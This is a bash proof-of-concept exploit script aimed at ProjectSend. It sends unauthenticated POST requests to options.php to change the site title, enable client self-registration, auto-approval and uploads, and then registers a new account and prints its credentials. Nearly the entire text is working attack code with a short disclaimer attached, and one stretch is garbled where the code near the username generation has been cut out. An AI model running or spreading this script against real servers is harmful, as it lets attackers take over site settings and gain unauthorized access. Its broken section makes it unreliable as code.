#!/bin/bash # Exploit: ProjectSend CSRF and Privilege Misconfiguration Exploit PoC # Description: This exploit is designed to test and confirm a Cross-Site Request Forgery (CSRF) vulnerability in ProjectSend by attempting to modify the host application's title. # If the vulnerability is present, the script proceeds to exploit privilege misconfigurations to enable insecure options (e.g., client registration, auto-approval, and file uploads) # and registers a new user with generated credentials. The exploit demonstrates potential impacts by chaining vulnerabilities that could lead to unauthorized actions and data exposure. # # Usage: # - Change the target URL using the `-u` flag to specify the vulnerable application. # - The script verifies the application's vulnerability by altering its title to "ProjectSendPoC." # - If the title modification is successful, it restores the original title after testing. # - It further registers a new user to highlight privilege misconfiguration issues. # # NOTE: You must use this exploit inside a folder with write permissions. # # Author: D3N14LD15K # Created: 2024-12-04 # # Disclaimer: This script is intended for ethical hacking and educational purposes only. TARGET_URL="" CSRF_TOKEN="" USERNAME="user$(tr -dc A-Za-z0-9 &2 exit 1 ;; :) echo "Option -$OPTARG NOT SET" >&2 exit 1 ;; esac done if [[ -z "$TARGET_URL" ]]; then echo "[-] Target URL is required. Use the -u flag." exit 1 fi } function get_csrf_token_and_title { echo "[*] Starting vulnerability check on $TARGET_URL..." RESPONSE=$(curl -s -c cookies.txt "$TARGET_URL/index.php") CSRF_TOKEN=$(echo "$RESPONSE" | grep -oP 'name="csrf_token" value="\K[^"]+') ORIGINAL_TITLE=$(echo "$RESPONSE" | grep -oP '.*?»\s+(.*?)' | sed -E 's/<[^>]*>//g' | sed -E 's/&.*?;//g') if [[ -z "$CSRF_TOKEN" ]] || [[ -z "$ORIGINAL_TITLE" ]]; then echo "[-] Failed to retrieve CSRF token. Exploit failed" exit 1 fi } function update_title { local title=$1 RESPONSE=$(curl -s -b cookies.txt -X POST "$TARGET_URL/options.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "csrf_token=$CSRF_TOKEN" \ --data-urlencode "section=general" \ --data-urlencode "this_install_title=$title") if echo "$RESPONSE" | grep -q "Internal Server Error"; then echo "[-] Exploit failed" exit 1 fi } function verify_title { local expected_title=$1 RESPONSE=$(curl -s -b cookies.txt "$TARGET_URL/index.php") CURRENT_TITLE=$(echo "$RESPONSE" | grep -oP '.*?»\s+(.*?)' | sed -E 's/<[^>]*>//g' | sed -E 's/&.*?;//g') if [[ "$CURRENT_TITLE" == *"$expected_title"* ]]; then echo -e "\e[32m[+] Target is vulnerable \e[0m" else echo "[-] Target NOT VULNERABLE" exit 1 fi } # First things first. Insecure options must be enabled. function enable_insecure_options { echo -e "\e[90m[*] Enabling insecure options...\e[0m" RESPONSE=$(curl -s -b cookies.txt -X POST "$TARGET_URL/options.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "csrf_token=$CSRF_TOKEN" \ --data-urlencode "section=clients" \ --data-urlencode "clients_can_register=1" \ --data-urlencode "clients_auto_approve=1" \ --data-urlencode "clients_can_upload=1") if echo "$RESPONSE" | grep -q "Internal Server Error"; then echo "[-] Failed to enable insecure options" exit 1 fi } # Function to register a new user function register_user { echo -e "\e[90m[*] Registering a new user...\e[0m" #New user registration here RESPONSE=$(curl -s -b cookies.txt -c cookies.txt -L -X POST "$TARGET_URL/register.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "csrf_token=$CSRF_TOKEN" \ --data-urlencode "name=$USERNAME" \ --data-urlencode "username=$USERNAME" \ --data-urlencode "password=$PASSWORD" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "address=123 Fake Street" \ --data-urlencode "phone=1234567890" \ --data-urlencode "notify_upload=on") if echo "$RESPONSE" | grep -q "alert-danger"; then echo "[-] Registration failed: $(echo "$RESPONSE" | grep -oP 'alert-danger.*?>\K[^<]+')" exit 1 elif echo "$RESPONSE" | grep -q "alert-success"; then echo -e "\e[32m[+] User registered successfully.\e[0m" echo -e "[+] New username: \e[96m$USERNAME\e[0m" echo -e "[+] New password: \e[96m$PASSWORD\e[0m" printf "\r\n" echo -e "\e[46m\e[30m[+]Try to log in with your new credentials.\e[0m" printf "\r\n" else echo "[-] Unexpected server response during registration" exit 1 fi } #Main workflow parse_args "$@" banner get_csrf_token_and_title update_title "$NEW_TITLE" verify_title "$NEW_TITLE" update_title "$ORIGINAL_TITLE" enable_insecure_options register_user # Clean up rm -f cookies.txt debug_log.txt echo "[+] Exploit completed."